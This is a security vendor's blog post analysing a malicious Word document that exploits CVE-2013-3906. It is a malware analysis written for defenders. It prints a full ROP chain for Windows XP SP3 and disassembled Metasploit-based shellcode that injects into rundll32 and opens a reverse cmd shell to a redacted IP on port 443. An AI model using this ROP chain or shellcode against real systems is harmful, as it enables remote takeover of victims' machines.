Many
of CrowdStrike’s customers are often targeted by email phishing
campaigns and strategic web compromises (also known as watering-hole
attacks). These attacks use exploits to take advantage of vulnerable
unpatched software installed on the victim’s computer. If an exploit is
successful, then it will run an attacker’s payload, which will typically
install malware bundled with the exploit itself and/or download malware
from a remote server.
If you’re in charge of defending your enterprise’s network and you know that an adversary is sending your employees malicious email attachments, you would want to know the exploits’ payload functionality. For example, if you know that your company was targeted by an exploit whose payload communicates with http://evil.example.com, you’d want to ensure that your network’s IDS/IPS systems detect and prevent communication with that remote server. While antivirus products can often detect these exploits, these products won’t tell the user what the exploit’s payload is actually designed to do:
Security
software that tries to determine a payload’s functionality via
emulation or a sandbox will sometimes work, but it still requires
knowledge of the exploit’s targeted environment, as the exploit may work
in one system configuration but not another.
In-depth
analysis of these threats is where CrowdStrike comes into play, where
we focus on intelligence-driven security. Knowing that a computer
received a phishing attempt is only half the battle -- the other half is
knowing the functionality of the adversary’s payload.We were recently notified of a new Microsoft Word document that exploits CVE-2013-3906. While this is certainly not the first blog post to discuss this vulnerability and related exploits, we want to be the first to show you an end-to-end walkthrough of a CVE-2013-3906 exploit analysis with a detailed focus on the payload.
Research
When we received the malicious Word document, we already knew that it contained an exploit for CVE-2013-3906. For one, we developed a YARA rule for CVE-2013-3906 exploits when Microsoft first announced the vulnerability, and this YARA rule detected the Word document immediately. And secondly, this document was already detected by 12 AV engines when it was released into the wild (though 32 other AV engines did not detect the file).
When analyzing any file that contains an exploit, the most difficult part of the task is typically in finding the actual payload code. There are three main approaches for this stage of the analysis:
- Statically search for shellcode in the exploit file
This can be difficult if the file is very large or if the file contains obfuscated shellcode - Understand the vulnerability well enough to know where the payload would exist in the exploit file
This requires the vulnerability to be well documented, or it requires the researcher to analyze the vulnerability from scratch, which can be very time consuming - Attempt to dynamically execute the exploit and its payload
This works well as long as the exploit actually works in the dynamic analysis environment and a breakpoint can be set during some point of the exploit execution or payload execution
The Metasploit module for this exploit shows the following crash information:
Based on this data, we can assume that the exploit is used to control register EAX and hijack the function OGL!GdipCreatePath (the comments in the Metasploit module more-or-less confirm this).
According to Microsoft,
Office 2010 on Windows XP SP3 is vulnerable to this security issue, so
we can use that configuration for our analysis environment to trigger
the exploit, and we can make changes along the way if we find that the
exploit requires a different configuration for the payload to run.Running the Exploit
To investigate the exploit’s execution, we run Microsoft Word 2010 in a debugger on Windows XP SP3 and set a breakpoint on the CALL DWORD PTR DS:[EAX+50] line in the OGL!GdipCreatePath function that was shown in the crash snippet above. Once the breakpoint is set, we open the malicious document in the running Word process and we see that our breakpoint gets hit:
However, we can see in OllyDbg’s hint pane that [EAX+50] points to OGL.44024C6E, an address in Microsoft Office’s OGL.DLL module. This surely isn’t the result of a hijacked EAX
value, and if we have the debugger continue execution of the process,
we see that the breakpoint gets hit again with the same value for EAX(0x440583A8); this will actually be the value of EAX for many breakpoint hits at this address. We’re only interested in the case where EAX
is hijacked by the exploit to point somewhere interesting, so we can
replace our current breakpoint with a conditional breakpoint:
With
our conditional breakpoint now set, we can continue execution of the
process, during which we’ll break at the following point:
We can see above that [EAX+50] now points to an address in msvcrt.dll. Below, we can see that the instruction at that address in msvcrt.dll acts as a stack pivot, setting the stack pointer to the value of EAX (0x200F06B0).
The result of the stack pivot can be seen in OllyDbg’s stack pane below, with the RETN instruction returning to 0x77C34FBF (the address on the top of the stack):
As can be seen below, the instruction at 0x77C34FBF POPs the stack value after 0x77C34FBF into ESP, causing the stack pointer to point to 0x52537A6E, which is an invalid (unmapped) address:
If
we were to continue execution, the Word process would crash, leaving
the rest of the payload unexecuted. Based on these results, it is
apparent that either the exploit is broken, or it is meant for a
different environment than our test environment. In either case, we’d
still like to know the intent of the payload, so we need to take a
closer look at the memory region containing the pivoted stack:
As can be seen above, this heap memory region contains a 0x700-byte “header”, followed by a spray of 0x400 bytes (highlighted in gray), repeating 512 times. We can actually see this heap spray (of size 0x00081000 bytes) repeated throughout several heap memory regions:
This heap spray is a result of all of the activeX*.bin files embedded in the Word document, each of which contains the 512 occurrences of the 0x400-byte ROP-chain block highlighted above:
The stack pivot that occurred during our testing above resulted in a new stack pointer of 0x200F06B0. However, this value is 0x3B0 bytes into one of the repeated ROP-chain blocks (0x50
bytes before the beginning of the next ROP-chain block). Common sense
would suggest that the ROP-chain execution was meant to begin at the
beginning of the ROP-chain block, not 0x3B0 bytes into it.
We can test this hypothesis by running the exploit back through OllyDbg, and this time changing the value of ESP before executing the RETN instruction after the stack pivot to point to the beginning of the next ROP-chain block:
Note that we use 0x200F0704 instead of 0x200F0700, since 0x200F0700 points to the stack pivot instruction that was just executed.
Now when we step through the ROP-chain, we see the following instructions executed:
ESP Before Previous RETN
|
Virtual Addresses of Instructions
|
Instructions
|
Comments
|
0x200F0704
|
0x77C3B860
0x77C3B861
|
POP EAX
RETN
|
EAX = 0xFFFFFFFF
|
0x200F070C
|
0x77C1BE18
0x77C1BE1A
0x77C1BE1B
|
NEG EAX
POP EBP
RETN
|
EAX = 0x00000001
EBP = 0x84CBC460
|
0x200F0714
|
0x77C2362C
0x77C2362D
|
POP EBX
RETN
|
EBX = 0x77C5D9BB
|
0x200F071C
|
0x77C2E071
0x77C2E072
0x77C2E074
|
XCHG EAX, EBX
ADD BYTE PTR DS:[EAX], AL
RETN
|
EAX = 0x77C5D9BB
EBX = 0x00000001
|
0x200F0720
|
0x77C50D13
0x77C50D14
|
POP EDX
RETN
|
EDX = 0xFFFFFFC0
|
0x200F0728
|
0x77C58FBC
0x77C58FBD
|
XCHG EAX, EDX
RETN
|
EAX = 0xFFFFFFC0
EDX = 0x77C5D9BB
|
0x200F072C
|
0x77C1BE18
0x77C1BE1A
0x77C1BE1B
|
NEG EAX
POP EBP
RETN
|
EAX = 0x00000040
EBP = 0x6C5BA53B
|
0x200F0734
|
0x77C58FBC
0x77C58FBD
|
XCHG EAX, EDX
RETN
|
EAX = 0x77C5D9BB
EDX = 0x00000040
|
0x200F0738
|
0x77C3EE15
0x77C3EE16
|
POP EBP
RETN
|
EBP = 0x77C3EE15
|
0x200F0740
|
0x77C3EEEF
0x77C3EEF0
|
POP ECX
RETN
|
ECX = 0x77C5D9BB
|
0x200F0748
|
0x77C2A88C
0x77C2A88D
|
POP EDI
RETN
|
EDI = 0x77C39F92
|
0x200F0750
|
0x77C3A184
0x77C3A185
|
POP ESI
RETN
|
ESI = 0x77C2AACC
|
0x200F0758
|
0x77C3B860
0x77C3B861
|
POP EAX
RETN
|
EAX = 0x77C11120 (VirtalProtect)
|
0x200F0760
|
0x77C12DF9
0x77C12DFA
|
PUSHAD
RETN
|
PUSH EAX, ECX, EDX, EBX, ESP, EBP, ESI, AND EDI
|
0x200F0744
|
0x77C39F92
|
RETN
| |
0x200F0748
|
0x77C2AACC
|
JMP DWORD PTR DS:[EAX]
|
VirtualProtect(
0x200F0764,
0x00000001,
0x00000040 [PAGE_EXECUTE_READWRITE],
0x77C5D9BB)
This makes the page containing address 0x200F0764 executable
|
0x200F074C
|
0x77C3EE15
0x77C3EE16
|
POP EBP
RETN
|
EBP = 0x77C11120 (VirtalProtect)
|
0x200F0764
|
0x77C35459
0x77C3545A
|
PUSH ESP
RETN
|
Jumps to shellcode at 0x200F0768
|
The hard-coded addresses in the ROP-chain target msvcrt.dll version 7.0.2600.5512 (specific to Windows XP SP3), and while the ROP-chain is similar to public ROP-chains, it contains a few different ROP-gadgets, perhaps to subvert security software that would otherwise detect the publicly documented ROP-chains.
The shellcode at 0x200F0768 begins with a loop to XOR the obfuscated shellcode, followed by a Metasploit-based payload:
seg000:200F0768 mov eax, large fs:18h
seg000:200F076E add eax, 8
seg000:200F0771 mov esp, [eax]
seg000:200F0773 add esp, 0FFFFF830h
seg000:200F0779 fcmovu st, st(5)
seg000:200F077B mov eax, 0A7E745ABh
seg000:200F0780 fnstenv byte ptr [esp-0Ch]
seg000:200F0784 pop ebx
seg000:200F0785 sub ecx, ecx
seg000:200F0787 mov cl, 75h ; 'u'
seg000:200F0789 xor [ebx+17h], eax
seg000:200F078C add eax, [ebx+17h]
seg000:200F078F add ebx, 4
seg000:200F0792 loop loc_200F0789
seg000:200F0794 cld
seg000:200F0795 jmp loc_200F0820
seg000:200F0820 call sub_200F079A
seg000:200F079A pop ebp
seg000:200F079B add ebp, 0Bh ; ebp now points to api_call
; hash lookup table can be found here
seg000:200F079E add esp, 0FFFFFE70h
seg000:200F07A4 lea edx, [esp+18Ch+var_12C]
seg000:200F07A8 push edx
seg000:200F07A9 push 0B16B4AB1h
seg000:200F07AE call ebp ; GetStartupInfoA(&startupInfo)
seg000:200F07B0 lea eax, [esp+arg_5C]
seg000:200F07B4 jmp short loc_200F0812
seg000:200F0812 call sub_200F07B6
seg000:200F0817 aRundll32 db 'rundll32',0
seg000:200F07B6 pop esi ; esi = "rundll32"
seg000:200F07B7 lea edi, [eax+60h]
seg000:200F07BA push edi
seg000:200F07BB push eax
seg000:200F07BC xor ebx, ebx
seg000:200F07BE push ebx
seg000:200F07BF push ebx
seg000:200F07C0 push 8000004h
seg000:200F07C5 push ebx
seg000:200F07C6 push ebx
seg000:200F07C7 push ebx
seg000:200F07C8 push esi
seg000:200F07C9 push ebx
seg000:200F07CA push 863FCC79h
seg000:200F07CF call ebp ;
CreateProcessA(NULL, "rundll32", NULL, NULL, FALSE, CREATE_SUSPENDED |
CREATE_NO_WINDOW, NULL, NULL, &startupInfo, &processInfo)
seg000:200F07D1 test eax, eax
seg000:200F07D3 jz short loc_200F082A
seg000:200F07D5 push 40h ; '@'
seg000:200F07D7 add bh, 10h
seg000:200F07DA push ebx
seg000:200F07DB push ebx
seg000:200F07DC xor ebx, ebx
seg000:200F07DE push ebx
seg000:200F07DF push dword ptr [edi]
seg000:200F07E1 push 3F9287AEh
seg000:200F07E6 call ebp ; VirtualAllocEx(processInfo.hProcess, NULL, 0x00001000, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
seg000:200F07E8 push esp
seg000:200F07E9 push 13Ah
seg000:200F07EE jmp short loc_200F0825
seg000:200F0825 call sub_200F07F0
seg000:200F07F0 push eax
seg000:200F07F1 push dword ptr [edi]
seg000:200F07F3 push 0E7BDD8C5h
seg000:200F07F8 call ebp ; WriteProcessMemory(processInfo.hProcess, <allocated address>, 0x200F082A, 0x0000013A, <stack address>)
seg000:200F07FA push ebx
seg000:200F07FB push ebx
seg000:200F07FC push ebx
seg000:200F07FD mov ecx, [esp+0Ch+var_10]
seg000:200F0801 push ecx
seg000:200F0802 push ebx
seg000:200F0803 push ebx
seg000:200F0804 push dword ptr [edi]
seg000:200F0806 push 799AACC6h
seg000:200F080B call ebp ; CreateRemoteThread(processInfo.hProcess, NULL, 0x00000000, <allocated address>, NULL, 0x00000000, NULL)
seg000:200F080D jmp loc_200F0945
seg000:200F0945 mov ebx, 56A2B5F0h
seg000:200F094A push 9DBD95A6h
seg000:200F094F call ebp ; GetVersion()
seg000:200F0951 cmp al, 6
seg000:200F0953 jl short loc_200F095F
seg000:200F0955 cmp bl, 0E0h ; 'a'
seg000:200F0958 jnz short loc_200F095F
seg000:200F095A mov ebx, 6F721347h
seg000:200F095F push 0
seg000:200F0961 push ebx
seg000:200F0962 call ebp ; ExitProcess(0) or RtlExitUserThread(0)
|
The shellcode above runs the program “rundll32” as a suspended process, injects code into that process, and creates a new thread in that process to run the injected code. The injected code is as follows, based on the reverse_tcp module and the shell module from Metasploit:
seg000:200F082A cld
seg000:200F082B call sub_200F08B9
seg000:200F08B9 pop ebp
seg000:200F08BA push '23'
seg000:200F08BF push '_2sw' ; "ws2_32"
seg000:200F08C4 push esp
seg000:200F08C5 push 726774Ch
seg000:200F08CA call ebp ; LoadLibraryA("ws2_32")
seg000:200F08CC mov eax, 190h
seg000:200F08D1 sub esp, eax
seg000:200F08D3 push esp
seg000:200F08D4 push eax
seg000:200F08D5 push 6B8029h
seg000:200F08DA call ebp ; WSAStartup(MAKEWORD(0x90, 0x01), &wsaData)
seg000:200F08DC push eax
seg000:200F08DD push eax
seg000:200F08DE push eax
seg000:200F08DF push eax
seg000:200F08E0 inc eax
seg000:200F08E1 push eax
seg000:200F08E2 inc eax
seg000:200F08E3 push eax
seg000:200F08E4 push 0E0DF0FEAh
seg000:200F08E9 call ebp ; WSASocketA(AF_INET, SOCK_STREAM, 0, NULL, 0, 0)
seg000:200F08EB mov edi, eax ; edi = eax = s
seg000:200F08ED push [redacted] ; sin.sin_addr = [redacted]
seg000:200F08F2 push 0BB010002h ; sin.sin_port = 443
seg000:200F08F2 ; sin.sin_family = AF_INET
seg000:200F08F7 mov esi, esp
seg000:200F08F9 push 10h
seg000:200F08FB push esi
seg000:200F08FC push edi
seg000:200F08FD push 6174A599h
seg000:200F0902 call ebp ; connect(s, &sin, 16)
seg000:200F0904 push 'dmc'
seg000:200F0909 mov ebx, esp
seg000:200F090B push edi
seg000:200F090C push edi
seg000:200F090D push edi
seg000:200F090E xor esi, esi
seg000:200F0910 push 12h
seg000:200F0912 pop ecx
seg000:200F0913 push esi
seg000:200F0914 loop loc_200F0913
seg000:200F0916 mov word ptr [esp+1F0h+var_1E0.dwFlags], 101h
seg000:200F091D lea eax, [esp+1F0h+var_1E0]
seg000:200F0921 mov byte ptr [eax+STARTUPINFOA.cb], 44h
seg000:200F0924 push esp
seg000:200F0925 push eax
seg000:200F0926 push esi
seg000:200F0927 push esi
seg000:200F0928 push esi
seg000:200F0929 inc esi
seg000:200F092A push esi
seg000:200F092B dec esi
seg000:200F092C push esi
seg000:200F092D push esi
seg000:200F092E push ebx
seg000:200F092F push esi
seg000:200F0930 push 863FCC79h
seg000:200F0935 call ebp ; CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, &startupInfo, &processInfo)
seg000:200F0937 mov eax, esp
seg000:200F0939 dec esi
seg000:200F093A push esi
seg000:200F093B inc esi
seg000:200F093C push dword ptr [eax]
seg000:200F093E push 601D8708h
seg000:200F0943 call ebp ; WaitForSingleObject(processInfo.hProcess, INFINITE)
seg000:200F0945 mov ebx, 56A2B5F0h
seg000:200F094A push 9DBD95A6h
seg000:200F094F call ebp ; GetVersion()
seg000:200F0951 cmp al, 6
seg000:200F0953 jl short loc_200F095F
seg000:200F0955 cmp bl, 0E0h ; 'a'
seg000:200F0958 jnz short loc_200F095F
seg000:200F095A mov ebx, 6F721347h
seg000:200F095F push 0
seg000:200F0961 push ebx
seg000:200F0962 call ebp ; ExitProcess(0) or RtlExitUserThread(0)
|
This injected code creates a reverse shell to a hard-coded remote IP address ([redacted] above) on TCP port 443.
Summary
The adversary appears to have used three Metasploit modules to piece together this malicious Word document.
We discussed problems with typical antivirus software, in particular the limited information that such software provides to the user regarding detected threats. We described different approaches that can be used to analyze the payload of a file containing an exploit. And we did a deep dive on the dynamic analysis approach, during which we manually fixed the exploit so that we could decode and analyze the payload’s functionality.
With the adversary’s IP address
discovered, CrowdStrike was able to notify our customers to help them
better defend their networks. We were able to provide them with
actionable intelligence that would not have been available to them with
traditional security software.
For more information on this
exploit or the adversaries using it, including detection logic or any of
the adversaries tracked by CrowdStrike, please contact: intelligence@crowdstrike.com and inquire about our Intelligence subscription.
No comments:
Post a Comment